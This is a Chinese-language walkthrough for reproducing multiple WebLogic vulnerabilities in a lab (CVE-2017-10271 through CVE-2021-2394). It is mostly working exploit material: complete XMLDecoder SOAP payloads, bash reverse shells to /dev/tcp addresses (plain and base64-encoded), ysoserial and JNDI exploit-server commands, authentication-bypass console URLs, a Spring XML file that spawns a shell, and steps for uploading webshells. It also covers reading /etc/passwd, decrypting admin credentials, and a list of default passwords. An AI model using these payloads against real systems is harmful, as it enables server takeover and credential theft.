0x01:Weblogic環境搭建
安裝包,需要不同版本的直接去官網下載即可
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
雙擊打開
點擊下一步
設置賬號密碼,Oracle@123
進入到目錄,雙擊
輸入賬號密碼
然后訪問7001端口
搭建成功
0x02:WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
1. 漏洞原理
CVE-2017-10271漏洞產生的原因大致是Weblogic WLS Security 組件對外提供webservice服務,其中使用了 XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者發送精心構造的xml數據甚至能通過反彈shell拿到權限。
2. 影響版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
3. 漏洞地址
默認端口:7001
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
4. 漏洞復現
版本號10.3.6.0
初步判斷,訪問192.168.88.133:7001/wls-wsat/CoordinatorPortType
存在下圖則可能存在在漏洞。
訪問上方漏洞路徑都會出現相似的頁面,我們通過數據包去驗證漏洞是否存在。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.88.133:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=llYJhP8TvzYxpGhV4LFc1l6QS7PpryrXbZkDy5H86nLSxspLvWhq!-2109495751
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 596
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
返回值為500。
訪問
http://192.168.88.133:7001/bea_wls_internal/test.jsp
成功寫入,存在漏洞
接着反彈shell。POS下面的數據
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.88.133/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
啟動監聽。
成功返回shell
0x03:Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
1. 漏洞原理
在 WebLogic 里,攻擊者利用其他rmi繞過weblogic黑名單限制,然后在將加載的內容利用readObject
解析,從而造成反序列化遠程代碼執行該漏洞,該漏洞主要由於T3服務觸發,所有開放weblogic控制台7001端口,默認會開啟T3服務,攻擊者發送構造好的T3協議數據,就可以獲取目標服務器的權限。
服務端監聽ysoserial,上面的反射代碼被集成到了ysoserial工具中的CommonsCollections 的payload中,最終依然是sun.reflect.annotation.AnnotationInvocationHandler。攻擊端生成的payload發送給weblogic反序列化連接服務端,服務端把惡意序列化代碼發送給weblogic,weblogic再反序列化實現攻擊
在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是處理rmi接口類型的,只判斷了java.rmi.registry.Registry,這就會導致任意一個rmi接口都可繞過。核心部分就是JRMP(Java Remote Method protocol),在這個PoC中會序列化一個RemoteObjectInvocationHandler,它會利用UnicastRef建立到遠端的tcp連接獲取RMI registry,加載回來再利用readObject解析,從而造成反序列化遠程代碼執行。
2. 影響版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
3. 漏洞復現
我們先使用nmap掃描是否使用了t3協議
利用ysoserial啟動一個JRMP Server服務
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/1.txt"
使用cve-2018-2628.py腳本,向目標Weblogic發送數據包,這里cve-2018-2628.py和ysoserial-0.0.6-SNAPSHOT-BETA-all.jar放置在同一目錄下使用。
python CVE-2018-2628.py 192.168.88.133 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.88.133 9999 JRMPClient
成功在目標機器上寫入文件
反彈shell
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
直接使用自動化工具一步到位。檢測到漏洞之后
拿到shell
反彈shell
反彈回shell
0x04:Weblogic未授權訪問+任意文件上傳漏洞(CVE-2018-2894)
1. 漏洞原理
Weblogic管理端未授權的兩個頁面存在任意上傳jsp文件漏洞,進而獲取服務器權限。Oracle修復了Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在 ‘生產模式’ 下默認不開啟,所以該漏洞有一定限制。兩個頁面分別為/ws_utc/begin.do
、/ws_utc/config.do
。
2. 影響版本
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
3. 漏洞復現
未授權訪問/ws_utc/config.do頁面
將目錄設置為 ws_utc 應用的靜態文件css目錄,訪問這個目錄是無需權限的,設置Work Home Dir為
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后點擊左側的安全 -> 增加,然后上傳webshell:
最后的文件名就是 時間戳_文件名
然后訪問http://192.168.88.133:7001/ws_utc/css/config/keystore/1628662540500_JspSpy.jsp
,即可執行webshell
0x05:Weblogic未授權訪問+遠程命令執行漏洞(CVE-2020-14882&CVE-2020-14883)
1. CVE-2020-14883: 權限繞過漏洞
遠程攻擊者可以構造特殊的HTTP
請求,在未經身份驗證的情況下接管 WebLogic Server Console
。
2. CVE-2020-14882: 代碼執行漏洞
結合 CVE-2020-14883
漏洞,遠程攻擊者可以構造特殊的HTTP
請求,在未經身份驗證的情況下接管 WebLogic Server Console
,並在 WebLogic Server Console
執行任意代碼。
3. 影響版本
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
4. 漏洞復現
我們訪問
http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
直接跳轉到管理控制台
此時的權限很低,並不能在后台安裝應用,所以需要結合CVE-2020-14883漏洞,這個漏洞的利用方式有兩種
-
一是通過
com.tangosol.coherence.mvel2.sh.ShellSession
-
二是通過
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
利用com.tangosol.coherence.mvel2.sh.ShellSession
執行命令
http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/fuck%27);%22);
成功創建文件
這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本並不存在com.tangosol.coherence.mvel2.sh.ShellSession
類,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
類時,需要構造一個惡意的xml文件。構造惡意XML
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.88.133/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通過這個類發出如下請求,即可讓Weblogic加載這個xml,並執行其中的命令,成功反彈回shell
http://192.168.88.133:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.133:8888/1.xml")
0x06:Weblogic前台任意文件讀取 && 弱口令 && 后台getshell
1. 任意文件讀取
本環境存在弱口令:
-
weblogic
-
Oracle@123
訪問
http://your-ip:7001/hello/file.jsp?path=/etc/passwd
可見成功讀取passwd文件
那么我們可以讀取后台用戶密文與密鑰文件,weblogic密碼使用AES(老版本3DES)加密,對稱加密可解密,只需要找到用戶的密文與加密時的密鑰即可。這兩個文件均位於base_domain下,名為SerializedSystemIni.dat
和config.xml
,在本環境中為./security/SerializedSystemIni.dat
和./config/config.xml
(基於當前目錄/root/Oracle/Middleware/user_projects/domains/base_domain
)。SerializedSystemIni.dat
是一個二進制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,右鍵copy to file就可以保存成一個文件:
config.xml
是base_domain的全局配置文件,所以亂七八糟的內容比較多,找到其中的<node-manager-password-encrypted>
的值,即為加密后的管理員密碼,不要找錯了:
然后用靶場decrpty里面的工具解密
2. 常用的Weblogic弱口令
system:password
weblogic:weblogic
admin:security
joe:password
mary:password
system:security
wlcsystem:wlcsystem
wlpisystem:wlpisystem
3. 后台上傳war包GetShell
3.1 war簡介
- war是一個可以直接運行的web模塊,通常用於網站,打成包部署到容器中。war包放置到web目錄下之后,可以自動解壓,就相當於發布了
- 簡單來說,war包是JavaWeb程序打的包,war包里面包括寫的代碼編譯成的class文件,依賴的包,配置文件,所有的網站頁面,包括html,jsp等等。一個war包可以理解為是一個web項目,里面是項目的所有東西
3.2 war打包
- linux下把文件打包成war的壓縮包
jar -cvf blog.war *
- 查看example.war
jar -tf blog.war
-
也可以先把文件壓縮成zip,再改后綴名為war。
點擊部署
點擊上傳文件
然后上傳war包,一直下一步下一步然后完成。然后冰蠍連接
http://192.168.88.133:7001/shell/shell.jsp
0x07:Weblogic IIOP協議反序列化RCE(CVE-2020-2551)
1. 漏洞原理
Weblogic IIOP協議默認開啟,跟T3協議一起監聽在7001端口,這次漏洞主要原因是錯誤的過濾JtaTransactionManager類,JtaTransactionManager父類AbstractPlatformTransactionManager在之前的補丁里面就加入到黑名單列表了,T3協議使用的是resolveClass方法去過濾,resolveClass方法是會讀取父類的,所以T3協議這樣過濾沒問題。但是IIOP協議這塊雖然也是使用的這個黑名單列表,但不是使用resolveClass方法去判斷,默認只會判斷本類的類名,而JtaTransactionManager類不在黑名單列表里面並且存在jndi注入
2. 影響版本
使用marshalsec起一個惡意的RMI服務。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999
本地編譯EXP,然后本地起一個Web服務器
exp
import java.io.IOException;
public class Exploit {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
編譯
javac Exploit.java
命令行運行jar包
java -jar weblogic_CVE_2020_2551.jar 192.168.88.133 7001 rmi://192.168.88.133:1099/Exploit
復現失敗。。。
0x08:Weblogic遠程代碼執行漏洞(CVE-2021-2109)
漏洞原理
漏洞為Weblogic 的遠程代碼執行漏洞。漏洞主要由JNDI注入,導致攻擊者可利用此漏洞遠程代碼執行
1. 影響版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
2. 漏洞復現
參考鏈接 https://mp.weixin.qq.com/s/-ExbVwY7K3fY07h-KP4DEA
這里使用docker來搭建環境
docker pull ismaleiva90/weblogic12
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
訪問http://your-ip:49163/console即可看到頁面,User: weblogic Pass: welcome1
啟動LDAP
java -jar JNDIExploit-v1.11.jar -i 192.168.88.133
然后發送數據包
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.88.133:49163
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
Connection: close
Referer: http://192.168.88.133:49163/console/console.portal?_nfpb=true&_pageLabel=HomePage1
Cookie: ADMINCONSOLESESSION=5ZY9z_8Wg654bjnM0Hmf8bqUjHKmT7Drs0qIkallCxuU154ML2u5!692946862
If-Modified-Since: Wed, 21 May 2014 19:34:20 GMT
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
反彈回shell
2.1 配合未授權訪問
配合 Weblogic未授權范圍 命令執行
/console/css/../consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://192.168.88.133:1389/Basic/WeblogicEcho;AdminServer")
登錄后台可使用此POC,未授權的話用上面的
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer")
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.88.133:49163
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.88.133:49163/console/login/LoginForm.jsp
cmd:id
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
0x09:Weblogic T3反序列化(CVE-2021-2394)
1. 漏洞復現
這里借用cve-2020-14882的環境
命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/aaa.txt" -A 192.168.88.133
-C [執行的命令]
-A [開啟ldap服務的ip]
發包
成功創建文件
反彈shell,記得編碼。
0x10:Weblogic寫Shell的幾種方式
對於反序列化漏洞,如果獲得的是系統權限或者root權限,那就沒必要上傳木馬,但如果只是web安裝應用的權限,就上傳獲取更大權限。上傳需要找到幾個點,獲取物理路徑,如下面三種:
1. 方法一:把Webshell寫在控制台images里面
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
2. 方法二:寫到uddiexplorer目錄中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\隨機字符\war\shell.jsp
訪問 `http://*.*.*.*:7001/uddiexplorer/shell.jsp
3. 方法三:在應用安裝目錄中寫
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\項目名\隨機字符\war\shell.jsp
訪問 `http://*.*.*.*:7001/項目名/shell.jsp